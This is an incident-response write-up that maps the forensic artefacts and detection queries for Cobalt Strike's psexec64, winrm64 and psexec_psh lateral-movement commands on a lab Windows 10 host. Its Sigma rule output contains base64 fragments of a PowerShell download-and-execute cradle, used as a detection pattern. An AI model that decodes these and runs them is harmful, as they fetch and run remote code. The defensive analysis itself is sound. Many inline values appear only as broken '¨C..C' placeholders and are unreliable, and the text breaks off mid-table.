Approach
The aim here is to provide basic information on the kinds of logs and other artefacts that could be generated from Cobalt Strike on a default Windows 10 host. To get a better context and understanding, we enabled Sysmon on the victim workstation, in order to get a baseline to compare with.
The tests were done with Cobalt Strike version 4.4 with the default configuration, without any kind of customization. It is important to note that Cobalt Strike allows users to change various settings (pipe names, service name, default temporary process, etc.) to customize its footprint. Depending on the Cobalt Strike settings used by the attackers, the events generated may be slightly different and detection rules may fail.
Each command was executed twice to avoid false positives, and the investigations were conducted on one of these two executions. This short analysis can be later on used as a reference to build rules to detect Cobalt Strike movements during a forensics incident response (without Sysmon or Audit Policies).
The Lab is composed of the following elements:
- Windows 10 workstations with Sysmon installed,
- Windows Server 2016 Domain Controller.
The different steps and tools used to extract and analyze the artefacts post compromise are:
- Run DFIR-Orc to extract artefacts on the Windows 10 machine;
- Run log2timeline/plaso on the extracted data to build a clear timeline;
- Analyze data using Splunk or Kibana (ELK fullstack with custom Logstash configuration).
By using DFIR-Orc and Plaso, we were able to process the most important artefacts:
- Event logs (
*.evtx
), including PowerShell command history; - Prefetch files among other execution evidence;
- NTFS artefacts, such as USNjrnl and MFT;
- User and System hives (userassist, appcompatcache, etc.).
Findings Summary
A summary of the most important findings (excluding Sysmon events) is available in the timeline below. It should be noted that these events alone do not constitute evidence of the use of a Cobalt Strike beacon, and further analysis, some of which is detailed in this article, needs to be conducted to validate or not the hypothesis of remote code execution. These timelines will be detailed and explained in the following chapters.
Cobalt Strike Commands | Time | Description |
---|---|---|
jump psexec64 | 13:33:05.767 | [fs/usnjrnl] File \Windows\4542843.exe USN_REASON_FILE_CREATE |
jump psexec64 | 13:33:05.769 | [evtx/sec/4624] User ‘CORP.LOCAL\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from ‘192.168.56.119’ (‘-‘) (logon_id=0x000000000051bce7) with ‘-‘ |
jump psexec64 | 13:33:05.803 | [evtx/sec/4624] User ‘CORP.LOCAL\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from ‘192.168.56.119’ (‘-‘) (logon_id=0x000000000051bd0a) with ‘-‘ |
jump psexec64 | 13:33:05.829 | [evtx/sys/scm/7045] Service ‘4542843’ (\\DESKTOP-RI5FIO5\ADMIN$\4542843.exe ) was installed by user ‘LocalSystem’ (type: user mode service, start: demand start) |
jump psexec64 | 13:33:05.877 | [prefetch] Prefetch [4542843.EXE] was executed – run count 1 path hints: [] hash: 0xB39DA9E6 volume: 1 [serial number: 0x228095FD device path: \VOLUME{01d80e8a80662822-228095fd}] |
jump psexec64 | 13:33:06.954 | [prefetch] Prefetch [RUNDLL32.EXE] was executed – run count 2 path hints: \WINDOWS\SYSTEM32\RUNDLL32.EXE hash: 0x64292FC9 volume: 1 [serial number: 0x228095FD device path: \VOLUME{01d80e8a80662822-228095fd}] |
jump psexec64 | 13:33:07.000 | [evtx/sys/scm/7034] Service ‘4542843’ terminated unexpectedly (1 times) |
jump psexec64 | 13:33:07.000 | [fs/mft][macb] File \Windows\Prefetch\4542843.EXE-B39DA9E6.pf ($FILE_NAME), MFT:98397-10, PARENT: 93711-2 |
jump psexec64 | 13:33:07.000 | [fs/usnjrnl] File \Windows\Prefetch\4542843.EXE-B39DA9E6.pf USN_REASON_FILE_CREATE |
jump psexec64 | 13:33:07.939 | [fs/usnjrnl] File \Windows\4542843.exe USN_REASON_CLOSE USN_REASON_FILE_DELETE |
jump psexec64 | 13:33:17.063 | [fs/mft][macb] File \Windows\Prefetch\RUNDLL32.EXE-64292FC9.pf ($FILE_NAME), MFT:98393-10, PARENT: 93711-2 |
jump psexec64 | 13:33:17.063 | [fs/usnjrnl] File \Windows\Prefetch\RUNDLL32.EXE-64292FC9.pf USN_REASON_FILE_CREATE |
… | … | … |
jump winrm64 | 13:38:10.193 | [prefetch] Prefetch [WSMPROVHOST.EXE] was executed – run count 2 path hints: \WINDOWS\SYSTEM32\WSMPROVHOST.EXE hash: 0xEF06207C volume: 1 [serial number: 0x228095FD device path: \VOLUME{01d80e8a80662822-228095fd} ] |
jump winrm64 | 13:38:10.650 | [evtx/winrm/91] Creating WSMan shell on server with ResourceURI: ‘http://schemas.microsoft.com/powershell/Microsoft.PowerShell‘ |
jump winrm64 | 13:38:11.036 | [evtx/sec/4624] User ‘CORP.LOCAL\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from ‘-‘ (‘-‘) (logon_id=0x00000000005eb099) with ‘-‘ |
jump winrm64 | 13:38:11.614 | [fs/usnjrnl] File ¨C10C USN_REASON_FILE_CREATE |
jump winrm64 | 13:38:11.631 | [fs/usnjrnl] File ¨C11C USN_REASON_FILE_CREATE |
jump winrm64 | 13:38:11.964 | [evtx/powershell/53504] Windows PowerShell has started an IPC listening thread on process ‘9724’ in AppDomain ‘DefaultAppDomain’ |
jump winrm64 | 13:38:13.099 | [evtx/powershell/400] The PowerShell engine state hosted by application ¨C12C is changed from ‘None’ to ‘Available’. |
jump winrm64 | 13:38:13.705 | [evtx/sec/4624] User ‘CORP.LOCAL\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from ‘-‘ (‘-‘) (logon_id=0x00000000005edc9b) with ‘-‘ |
jump winrm64 | 13:38:13.828 | [evtx/sec/4624] User ‘CORP.LOCAL\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from ‘-‘ (‘-‘) (logon_id=0x00000000005edd18) with ‘-‘ |
jump winrm64 | 13:38:14.362 | [evtx/powershell/4104] The remote PowerShell scriptblock named ‘¨C13C’ is executed (29 blocks) |
jump winrm64 | 13:38:19.168 | [evtx/sec/4624] User ‘CORP.LOCAL\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from ‘192.168.56.119’ (‘-‘) (logon_id=0x00000000005f30a3) with ‘-‘ |
jump winrm64 | 13:38:20.349 | [fs/mft][macb] File ‘\Windows\Prefetch\WSMPROVHOST.EXE-EF06207C.pf’ ($FILE_NAME), MFT:106956-3, PARENT: 93711-2 |
jump winrm64 | 13:38:20.349 | [fs/usnjrnl] File ¨C14C USN_REASON_FILE_CREATE |
… | … | … |
jump psexec_psh | 13:45:07.732 | [evtx/sec/4624] User ‘CORP.LOCAL\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from ‘192.168.56.119’ (‘-‘) (logon_id=0x00000000008629e3) with ‘-‘ |
jump psexec_psh | 13:45:07.755 | [evtx/sys/scm/7045] Service ‘4b3d5bc’ (¨C15C) was installed by user ‘LocalSystem’ (type: user mode service, start: demand start) |
jump psexec_psh | 13:45:07.755 | [fs/mft][.a..] File ¨C16C ($STANDARD_INFORMATION), MFT:53610-1 |
jump psexec_psh | 13:45:07.771 | [prefetch] Prefetch [CMD.EXE] was executed – run count 2 path hints: ¨C17C hash: 0xAC113AA8 volume: 1 [serial number: 0x228095FD device path: ¨C18C] |
jump psexec_psh | 13:45:07.803 | [prefetch] Prefetch [POWERSHELL.EXE] was executed – run count 5 path hints: ¨C19C hash: 0x767FB1AE volume: 1 [serial number: 0x228095FD device path: ¨C20C] |
jump psexec_psh | 13:45:07.833 | [fs/mft][macb] File ¨C21C ($FILE_NAME), MFT:110491-2, PARENT: 93711-2 |
jump psexec_psh | 13:45:07.833 | [fs/usnjrnl] File ¨C22C USN_REASON_FILE_CREATE |
jump psexec_psh | 13:45:07.904 | [evtx/sec/4624] User ‘CORP.LOCAL\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from ‘192.168.56.119’ (‘-‘) (logon_id=0x0000000000862fb5) with ‘-‘ |
jump psexec_psh | 13:45:08.192 | [fs/mft][..c.] File ¨C23C ($STANDARD_INFORMATION), MFT:56216-1 |
jump psexec_psh | 13:45:09.308 | [evtx/powershell/40961] A new PowerShell runspace have been created |
jump psexec_psh | 13:45:09.508 | [fs/usnjrnl] File ¨C24C USN_REASON_FILE_CREATE |
jump psexec_psh | 13:45:09.520 | [fs/usnjrnl] File ¨C25C USN_REASON_FILE_CREATE |
jump psexec_psh | 13:45:09.834 | [evtx/powershell/53504] Windows PowerShell has started an IPC listening thread on process ‘6920’ in AppDomain ‘DefaultAppDomain’ |
jump psexec_psh | 13:45:10.348 | [evtx/powershell/400] The PowerShell engine state hosted by application ¨C26C is changed from ‘None’ to ‘Available’. |
jump psexec_psh | 13:45:10.387 | [evtx/powershell/40962] A PowerShell runspace have been closed |
jump psexec_psh | 13:45:10.681 | [evtx/powershell/4104] The remote PowerShell scriptblock named ‘¨C27C’ is executed (1 block) |
jump psexec_psh | 13:45:11.213 | [evtx/powershell/4104] The remote PowerShell scriptblock named ‘¨C28C’ is executed (1 block) |
jump psexec_psh | 13:45:11.246 | [evtx/powershell/4104] The remote PowerShell scriptblock named ‘¨C29C’ is executed (1 block) |
jump psexec_psh | 13:45:17.990 | [fs/usnjrnl] File ¨C30C USN_REASON_DATA_TRUNCATION |
Cobalt Strike « jump psexec64 »
The Cobalt Strike jump psexec64
command allows the attacker to use the PsExec
utility to execute a command or payload on a remote Windows system. When the jump psexec64
command is executed, it will use the active beacon to establish a connection to the specified Windows system, and then use the PsExec
utility to run the malicious payload on the remote system. The command uses the psexec64 executable that is included in the Cobalt Strike package to run the command on x64 architectures. The Beacon type used for this test is smb
.
Microsoft-Windows-Sysmon
As explained earlier, System Monitor (Sysmon) was installed on the Windows 10 workstation to have reference events on which to base our analyses. We therefore first reviewed the events recorded by Sysmon to get a baseline to compare with the extracted artefacts. The Sysmon events below have been filtered to keep the most useful ones.
Event ID 1 – Process Create
The process creation event provides extended information about a newly created process. The full command line provides context on the process execution. The ProcessGUID field is a unique value for this process across a domain to make event correlation easier.
By default, Cobalt Strike spawns a temporary process and uses rundll32.exe
to inject the malicious code into it and communicate the results back to the beacon using named pipes. We can note that rundll32.exe
executes without any arguments, which is very suspicious. The process chain created by the jump psexec64
command on the victim workstation is service.exe -> beacon.exe -> rundll32.exe
.
Time | Description |
---|---|
13:33:05.883 | [evtx/sysmon/1] Process created with command \\DESKTOP-RI5FIO5\ADMIN$\4542843.exe (pid: 9612) by user ‘NT AUTHORITY\SYSTEM’ via C:\Windows\System32\services.exe (pid: 596) |
13:33:06.960 | [evtx/sysmon/1] Process created with command C:\Windows\System32\rundll32.exe (pid: 4648) by user ‘NT AUTHORITY\SYSTEM’ via \\DESKTOP-RI5FIO5\ADMIN$\4542843.exe (pid: 9612) |
Event ID 3 – Network Connection Detected
The network connection event logs TCP/UDP connections on the machine. Each connection is linked to a process through the ProcessId and ProcessGUID fields. The event also contains the source and destination host names, IP addresses, port numbers and IPv6 status.
In both of our tests, 3 connections using IPv4 are made to the victim. The first one on port 445, the second one on port 135 and the last one to a random port. Then, two IPv6 connections are recorded to port 445.
Time | Description |
---|---|
13:33:06.881 | [evtx/sysmon/3] Tcp network connection from host – (192.168.56.119:54055) to host – (192.168.56.117:445) (pid=4) |
13:33:06.884 | [evtx/sysmon/3] Tcp network connection from host – (192.168.56.119:54056) to host – (192.168.56.117:135) (pid=832) |
13:33:06.885 | [evtx/sysmon/3] Tcp network connection from host – (192.168.56.119:54057) to host – (192.168.56.117:49692) (pid=596) |
13:33:06.885 | [evtx/sysmon/3] Tcp network connection from host – (fe80:0:0:0:d4bc:701f:e0a6:897d:49800) to host – (fe80:0:0:0:d4bc:701f:e0a6:897d:445) (pid=4) |
13:33:06.885 | [evtx/sysmon/3] Tcp network connection from host – (fe80:0:0:0:d4bc:701f:e0a6:897d:49800) to host – (fe80:0:0:0:d4bc:701f:e0a6:897d:445) (pid=4) |
Event ID 7 – Image Loaded
The image loaded event logs when a module is loaded in a specific process. It indicates the process in which the module is loaded, hashes and signature information.
The libraries loaded by the beacon are not very fancy. This information will not be useful without Sysmon installed on the victim workstation.
Time | Description |
---|---|
13:33:05.896 | [evtx/sysmon/7] Image C:\\Windows\\System32\\ntdll.dll loaded from process \\\\DESKTOP-RI5FIO5\\ADMIN$\\4542843.exe (pid=9612) with user NT AUTHORITY\SYSTEM |
13:33:05.897 | [evtx/sysmon/7] Image C:\\Windows\\System32\\kernel32.dll loaded from process \\\\DESKTOP-RI5FIO5\\ADMIN$\\4542843.exe (pid=9612) with user NT AUTHORITY\SYSTEM |
13:33:05.899 | [evtx/sysmon/7] Image C:\\Windows\\System32\\KernelBase.dll loaded from process \\\\DESKTOP-RI5FIO5\\ADMIN$\\4542843.exe (pid=9612) with user NT AUTHORITY\SYSTEM |
13:33:05.902 | [evtx/sysmon/7] Image C:\\Windows\\System32\\apphelp.dll loaded from process \\\\DESKTOP-RI5FIO5\\ADMIN$\\4542843.exe (pid=9612) with user NT AUTHORITY\SYSTEM |
13:33:05.915 | [evtx/sysmon/7] Image C:\\Windows\\System32\\advapi32.dll loaded from process ¨C53C (pid=9612) with user NT AUTHORITY\SYSTEM |
13:33:05.916 | [evtx/sysmon/7] Image ¨C54C loaded from process ¨C55C (pid=9612) with user NT AUTHORITY\SYSTEM |
13:33:05.917 | [evtx/sysmon/7] Image ¨C56C loaded from process ¨C57C (pid=9612) with user NT AUTHORITY\SYSTEM |
13:33:05.918 | [evtx/sysmon/7] Image ¨C58C loaded from process ¨C59C (pid=9612) with user NT AUTHORITY\SYSTEM |
13:33:05.929 | [evtx/sysmon/7] Image ¨C60C loaded from process ¨C61C (pid=9612) with user NT AUTHORITY\SYSTEM |
Event ID 11 – File Create
File create operations are logged when a file is created or overwritten. This event is useful for monitoring autostart locations, like the Startup folder, as well as temporary and download directories, which are common places where malware is dropped during an initial infection.
A randomly named Beacon1 was created on the file system to the C:\Windows
directory by the System
process. The two created Prefetch files related to rundll32.exe
and the Beacon will be useful to identify Cobalt Strike execution.
Time | Description |
---|---|
13:33:05.772 | [evtx/sysmon/11] Process System (pid=4) created file C:\\Windows\\4542843.exe with user NT AUTHORITY\SYSTEM |
13:33:07.009 | [evtx/sysmon/11] Process C:\\Windows\\system32\\svchost.exe (pid=1860) created file C:\\Windows\\Prefetch\\4542843.EXE-B39DA9E6.pf with user NT AUTHORITY\SYSTEM |
13:33:17.065 | [evtx/sysmon/11] Process C:\\Windows\\system32\\svchost.exe (pid=1860) created file C:\\Windows\\Prefetch\\RUNDLL32.EXE-64292FC9.pf with user NT AUTHORITY\SYSTEM |
Event ID 13 – Registry Value Set
Registry key and value create and delete operations map to this event type.
Cobalt Strike creates a service to run the Beacon as SYSTEM. So a registry key with a random name2 is created under HKLM\\System\\CurrentControlSet\\Services\\4542843
by the Services.exe
executable and the ImagePath
is set to the Beacon path.
Time | Description |
---|---|
13:33:05.866 | [evtx/sysmon/13] Registry event : user NT AUTHORITY\SYSTEM process C:\\Windows\\system32\\services.exe (pid 596) has SetValue HKLM\\System\\CurrentControlSet\\Services\\4542843\\ObjectName value to LocalSystem |
13:33:05.866 | [evtx/sysmon/13] Registry event : user NT AUTHORITY\SYSTEM process C:\\Windows\\system32\\services.exe (pid 596) has SetValue HKLM\\System\\CurrentControlSet\\Services\\4542843\\ImagePath value to \DESKTOP-RI5FIO5\ADMIN$\4542843.exe |
13:33:05.866 | [evtx/sysmon/13] Registry event : user NT AUTHORITY\SYSTEM process C:\\Windows\\system32\\services.exe (pid 596) has SetValue HKLM\\System\\CurrentControlSet\\Services\\4542843\\ErrorControl value to DWORD (0x00000000) |
13:33:05.866 | [evtx/sysmon/13] Registry event : user NT AUTHORITY\SYSTEM process C:\\Windows\\system32\\services.exe (pid 596) has SetValue HKLM\\System\\CurrentControlSet\\Services\\4542843\\Start value to DWORD (0x00000003) |
13:33:05.866 | [evtx/sysmon/13] Registry event : user NT AUTHORITY\SYSTEM process C:\\Windows\\system32\\services.exe (pid 596) has SetValue ¨C82C value to DWORD (0x00000010) |
13:33:07.941 | [evtx/sysmon/13] Registry event : user NT AUTHORITY\SYSTEM process ¨C83C (pid 596) has SetValue ¨C84C value to DWORD (0x00000004) |
13:33:07.941 | [evtx/sysmon/13] Registry event : user NT AUTHORITY\SYSTEM process ¨C85C (pid 596) has SetValue ¨C86C value to DWORD (0x00000001) |
Event ID 17 – Pipe Created
Pipe creation operations map to this event type.
The communication between the Beacon and the temporary process (rundll32.exe
) is done using named pipes. By default, on Cobalt Strike, the pipes created by binaries use the following format \\.\pipe\MSSE-####-server
. Then, the SMB Beacon creates another pipe for the communication with the C2. The default pipe format is \\msagent_##
.
Time | Description |
---|---|
13:33:05.926 | [evtx/sysmon/17] Process \\\\DESKTOP-RI5FIO5\\ADMIN$\\4542843.exe (pid=9612) created pipe \\MSSE-2716-server with user NT AUTHORITY\SYSTEM |
13:33:06.988 | [evtx/sysmon/17] Process C:\\Windows\\System32\\rundll32.exe (pid=4648) created pipe \\msagent_bd with user NT AUTHORITY\SYSTEM |
13:33:06.955 | [evtx/sysmon/18] Process \\\\DESKTOP-RI5FIO5\\ADMIN$\\4542843.exe (pid=9612) connected pipe \\MSSE-2716-server |
13:33:08.961 | [evtx/sysmon/18] Process System (pid=4) connected pipe \\msagent_bd |
Event ID 25 – Process Tampering
Since Sysmon version 13, a new type of event is recorded, called process tampering. This event is generated when a process uses hiding techniques such as hollow or herpaderp. The injection of Cobalt Strike was successfully detected by Sysmon:
Time | Description |
---|---|
13:33:05.889 | [evtx/sysmon/25] Process tampering detected for images \\\\DESKTOP-RI5FIO5\\ADMIN$\\4542843.exe (pid=9612) with user ‘NT AUTHORITY\SYSTEM’ |
Findings
Now that we have seen the events and other artefacts generated by the execution of the jump psexec64
command, let us dwell on the evidence present natively on a Windows 10 system out of the box.
Winevtx – Microsoft-Windows-Security-Auditing
Without the audit policies enabled, not many events are generated. Only two successful logons (event ID 4624) are recorded, with the logon type ‘3’ (Network), from the compromised account « CORP\alice ». If correlated, this behavior may help during the investigation to support a hypothesis. The source hostnames are not always recorded, nor is the logon process name.
Time | Description |
---|---|
13:33:05.769 | [evtx/sec/4624] User ‘CORP.LOCAL\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from ‘192.168.56.119’ (‘-‘) (logon_id=0x000000000051bce7) with ‘-‘ |
13:33:05.769 | [evtx/sec/4672] Special privileges assigned to ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) (logon_id=0x000000000051bce7): SeSecurityPrivilege SeBackupPrivilege SeRestorePrivilege SeTakeOwnershipPrivilege SeDebugPrivilege SeSystemEnvironmentPrivilege SeLoadDriverPrivilege SeImpersonatePrivilege SeDelegateSessionUserImpersonatePrivilege |
13:33:05.803 | [evtx/sec/4624] User ‘CORP.LOCAL\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from ‘192.168.56.119’ (‘-‘) (logon_id=0x000000000051bd0a) with ‘-‘ |
13:33:05.802 | [evtx/sec/4672] Special privileges assigned to ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) (logon_id=0x000000000051bd0a): SeSecurityPrivilege SeBackupPrivilege SeRestorePrivilege SeTakeOwnershipPrivilege SeDebugPrivilege SeSystemEnvironmentPrivilege SeLoadDriverPrivilege SeImpersonatePrivilege SeDelegateSessionUserImpersonatePrivilege |
The two network sessions (logon_type = 3) opened by user « CORP\alice » end a few moments later, just after the remote code execution.
Time | Description |
---|---|
13:34:46.386 | [evtx/sec/4634] User logged off ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) (logon_id=0x000000000051bd0a) from logon type=3 |
13:35:06.877 | [evtx/sec/4634] User logged off ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) (logon_id=0x000000000051bce7) from logon type=3 |
Winevtx – Service Control Manager
In that particular case, since the jump psexec64
command installs a service on the targeted host, the most useful Windows record is the event ID 7045 logged by the Service Control Manager (SCM). This event indicates that a new, randomly named2 (here 4542843
) service has been installed on the system by user « LocalSystem ». The executable used by this malicious service is a strong IOC since it will be remotely accessed using the $ADMIN
share. The service terminated unexpectedly a few moments later.
Time | Description |
---|---|
13:33:05.829 | [evtx/sys/scm/7045] Service ‘4542843’ (\\DESKTOP-RI5FIO5\ADMIN$\4542843.exe ) was installed by user ‘LocalSystem’ (type: user mode service, start: demand start) |
13:33:07.000 | [evtx/sys/scm/7034] Service ‘4542843’ terminated unexpectedly (1 times) |
Prefecth – Program execution
The Prefetch files are very useful as well because the beacon has a random name1 and it is followed by proof of the execution of rundll32
3. It is important to mention that the presence of rundll32.exe
alone is not necessarily an indication of malicious activity. However, since the beacon name is randomly set by Cobalt Strike for each execution, it is difficult to define a detection rule based on the Prefetch files.
Time | Description |
---|---|
13:33:05.877 | [prefetch] Prefetch [4542843.EXE] was executed – run count 1 path hints: [] hash: 0xB39DA9E6 volume: 1 [serial number: 0x228095FD device path: \VOLUME{01d80e8a80662822-228095fd}] |
13:33:06.954 | [prefetch] Prefetch [RUNDLL32.EXE] was executed – run count 2 path hints: \WINDOWS\SYSTEM32\RUNDLL32.EXE hash: 0x64292FC9 volume: 1 [serial number: 0x228095FD device path: \VOLUME{01d80e8a80662822-228095fd}] |
File System – MFT
The main IOC here is the beacon dropped in the $ADMIN
share (C:\Windows\
) and then executed by the malicious service. The binary itself has no entry in the MFT, but its Prefetch file and that of rundll32.exe
are visible when the jump psexec64
command is executed.
Time | Description |
---|---|
13:33:07.000 | [fs/mft][m.cb] File \Windows\Prefetch\4542843.EXE-B39DA9E6.pf ($STANDARD_INFORMATION), MFT:98397-10 |
13:33:07.000 | [fs/mft][macb] File \Windows\Prefetch\4542843.EXE-B39DA9E6.pf ($FILE_NAME), MFT:98397-10, PARENT: 93711-2 |
13:33:17.063 | [fs/mft][…b] File \Windows\Prefetch\RUNDLL32.EXE-64292FC9.pf ($STANDARD_INFORMATION), MFT:98393-10 |
13:33:17.063 | [fs/mft][macb] File \Windows\Prefetch\RUNDLL32.EXE-64292FC9.pf ($FILE_NAME), MFT:98393-10, PARENT: 93711-2 |
In our case, since the system has been freshly installed, rundll32.exe
has run for the first time and the birth of the Prefetch file can be observed in the MFT (here in both $FILE_NAME
and $STANDARD_INFORMATION
of the RUNDLL32.EXE-64292FC9.pf
file), otherwise only its modification would be visible.
File System – USN journal
Just like the MFT, and as observed in the SysMon logs (event ID 11), the USN journal can also detect the malicious executable and its Prefetch file. The location of the beacon in the C:\Windows
directory makes it easy to spot. The activity of the Prefetch file of rundll32.exe
is also recorded. The C:\Windows\4542843.exe
binary is deleted immediately after its execution.
Time | Description |
---|---|
13:33:05.767 | [fs/usnjrnl] File \Windows\4542843.exe USN_REASON_FILE_CREATE |
13:33:05.767 | [fs/usnjrnl] File \Windows\4542843.exe USN_REASON_DATA_EXTEND USN_REASON_FILE_CREATE |
13:33:05.767 | [fs/usnjrnl] File \Windows\4542843.exe USN_REASON_CLOSE USN_REASON_DATA_EXTEND USN_REASON_FILE_CREATE |
13:33:07.000 | [fs/usnjrnl] File \Windows\Prefetch\4542843.EXE-B39DA9E6.pf USN_REASON_FILE_CREATE |
13:33:07.000 | [fs/usnjrnl] File \Windows\Prefetch\4542843.EXE-B39DA9E6.pf USN_REASON_DATA_EXTEND USN_REASON_FILE_CREATE |
13:33:07.000 | [fs/usnjrnl] File \Windows\Prefetch\4542843.EXE-B39DA9E6.pf USN_REASON_CLOSE USN_REASON_DATA_EXTEND USN_REASON_FILE_CREATE |
13:33:07.939 | [fs/usnjrnl] File \Windows\4542843.exe USN_REASON_CLOSE USN_REASON_FILE_DELETE |
13:33:17.063 | [fs/usnjrnl] File \Windows\Prefetch\RUNDLL32.EXE-64292FC9.pf USN_REASON_FILE_CREATE |
13:33:17.063 | [fs/usnjrnl] File \Windows\Prefetch\RUNDLL32.EXE-64292FC9.pf USN_REASON_DATA_EXTEND USN_REASON_FILE_CREATE |
13:33:17.063 | [fs/usnjrnl] File ¨C129C USN_REASON_CLOSE USN_REASON_DATA_EXTEND USN_REASON_FILE_CREATE |
Conclusion
The default Cobal Strike jump psexec64
command is fairly easy to detect because it creates a service with a random name2 and uses the rundll32.exe
3 program without any arguments to host the payload. Even if the malicious binary is deleted immediately after its execution, the location of the beacon in the C:\Windows
directory makes it even easier to spot.
Detection Rule Example
The timeline is processed using plaso
(https://plaso.readthedocs.io/) on data collected with DFIR-Orc (https://dfir-orc.github.io/). The available fields and their names may vary depending on how you use log2timeline
and psort
.
Kibana
The various KQL queries correspond to each aspect of the conclusion stated above and can of course be grouped together. The most important is the SCM record (event ID 7045). Note that all these events occur in a short period of time. The name of the beacon can be spotted with the SCM record (event ID 7045) and then used to improve the queries on the MFT and USN journal events.
parser : "winevtx" and source_name : "Service Control Manager" and eid : 7045
parser : "winevtx" and source_name : "Microsoft-Windows-Security-Auditing" and eid : (4624 or 4672 or 4634)
parser : "usnjrnl" and message : \\Windows\\*.exe
parser : ( "prefetch" or "mft" ) and message : *RUNDLL32.EXE*
Splunk
A simple query for installed services (event ID 7045) where the service path contains the ADMIN$
substring is enough:
host="*" index="*" parser=winevtx eid=7045 service_path="*ADMIN$*"
| table _time host message
| sort _time
Sigma
A Sigma rule already exists for this event (sigma/win_cobaltstrike_service_installs.yml at master · SigmaHQ/sigma).
sigma-cli >>> sigma convert -t splunk -p sysmon ../sigma/rules/windows/builtin/system/win_cobaltstrike_service_installs.yml
Parsing Sigma rules [####################################] 100%
Provider_Name="Service Control Manager" EventID=7045 (ImagePath="*ADMIN$*" ImagePath="*.exe*" OR ImagePath="*%COMSPEC%*" ImagePath="*start*" ImagePath="*powershell*" OR ImagePath="*powershell -nop -w hidden -encodedcommand*" OR ImagePath="*SUVYIChOZXctT2JqZWN0IE5ldC5XZWJjbGllbnQpLkRvd25sb2FkU3RyaW5nKCdodHRwOi8vMTI3LjAuMC4xO*" OR ImagePath="*lFWCAoTmV3LU9iamVjdCBOZXQuV2ViY2xpZW50KS5Eb3dubG9hZFN0cmluZygnaHR0cDovLzEyNy4wLjAuMT*" OR ImagePath="*JRVggKE5ldy1PYmplY3QgTmV0LldlYmNsaWVudCkuRG93bmxvYWRTdHJpbmcoJ2h0dHA6Ly8xMjcuMC4wLjE6*")
Cobalt Strike « jump winrm64 »
The Cobalt Strike jump winrm64
command allows using the Windows Remote Management (WinRM) service to execute a command or payload on a remote Windows system. When the jump winrm64 command is executed, it will use the active beacon to establish a connection to the specified Windows system and then use the WinRM service to run the malicious payload on the remote system. The Beacon type used for this test is smb
.
Microsoft-Windows-Sysmon
Event ID 1 – Process Create
The process creation event provides extended information about a newly created process. The full command line provides context on the process execution. The ProcessGUID field is a unique value for this process across a domain to make event correlation easier. The hash is a full hash of the file with the algorithms in the HashType field.
Over the period of time during which the jump winrm64
command is executed, one of the created processes is wsmprovhost.exe
by the svchost.exe
process. Indeed, since the jump winrm64
command uses the Windows Remote Management (WinRM) service, the wsmprovhost.exe
process is started to handle the incoming connection and execute the command or payload.
Time | Description |
---|---|
13:38:10.192 | [evtx/sysmon/1] Process created with command C:\Windows\system32\wsmprovhost.exe -Embedding (pid: 9724) by user ‘CORP\alice’ via C:\Windows\System32\svchost.exe -k DcomLaunch -p (pid: 728) |
Event ID 3 – Network Connection Detected
The network connection event logs TCP/UDP connections on the machine. Each connection is linked to a process through the ProcessId and ProcessGUID fields. The event also contains the source and destination host names, IP addresses, port numbers and IPv6 status.
Sysmon recorded 4 network connections to the victim workstation on port TCP\5985 (HTTP default WinRM port) and, since the beacon type used for this test is smb
, one more to TCP port TCP\445 (SMB).
Time | Description |
---|---|
13:38:12.005 | [evtx/sysmon/3] An unknown process (pid: 4) created a TCP network connection from ‘192.168.56.119:54176’ to ‘192.168.56.117:5985’ |
13:38:12.907 | [evtx/sysmon/3] An unknown process (pid: 4) created a TCP network connection from ‘192.168.56.119:54177’ to ‘192.168.56.117:5985’ |
13:38:15.662 | [evtx/sysmon/3] An unknown process (pid: 4) created a TCP network connection from ‘192.168.56.119:54179’ to ‘192.168.56.117:5985’ |
13:38:15.935 | [evtx/sysmon/3] An unknown process (pid: 4) created a TCP network connection from ‘192.168.56.119:54180’ to ‘192.168.56.117:5985’ |
13:38:20.995 | [evtx/sysmon/3] An unknown process (pid: 4) created a TCP network connection from ‘192.168.56.119:54181’ to ‘192.168.56.117:445’ |
Event ID 7 – Image Loaded
The image loaded event logs when a module is loaded in a specific process. It indicates the process in which the module is loaded, hashes and signature information.
This event records the libraries loaded by a process during its execution. Without Sysmon installed on the victim workstation, it is hard to get the same information from other artefacts. However, because in that particular case the MFT artefact was able to get close information, this event is displayed here. The wsmprovhost.exe
process (PID 9724) loads 88 DLL and we chose to list only two because of their records in the MFT (see below).
Time | Description |
---|---|
13:38:10.177 | [evtx/sysmon/7] Process C:\Windows\System32\wsmprovhost.exe (pid: 9724) executed by ‘CORP\alice’ loaded module C:\Windows\System32\wsmprovhost.exe |
13:38:10.333 | [evtx/sysmon/7] Process C:\Windows\System32\wsmprovhost.exe (pid: 9724) executed by ‘CORP\alice’ loaded module C:\Windows\System32\WsmSvc.dll |
13:38:10.523 | [evtx/sysmon/7] Process C:\Windows\System32\wsmprovhost.exe (pid: 9724) executed by ‘CORP\alice’ loaded module C:\Windows\System32\wsmplpxy.dll |
13:38:10.600 | [evtx/sysmon/7] Process C:\Windows\System32\wsmprovhost.exe (pid: 9724) executed by ‘CORP\alice’ loaded module C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\97c421700557a331a31041b81ac3b698\mscorlib.ni.dll |
13:38:10.600 | [evtx/sysmon/7] Process C:\Windows\System32\wsmprovhost.exe (pid: 9724) executed by ‘CORP\alice’ loaded module ¨C159C |
13:38:10.600 | [evtx/sysmon/7] Process ¨C160C (pid: 9724) executed by ‘CORP\alice’ loaded module ¨C161C |
13:38:10.600 | [evtx/sysmon/7] Process ¨C162C (pid: 9724) executed by ‘CORP\alice’ loaded module ¨C163C |
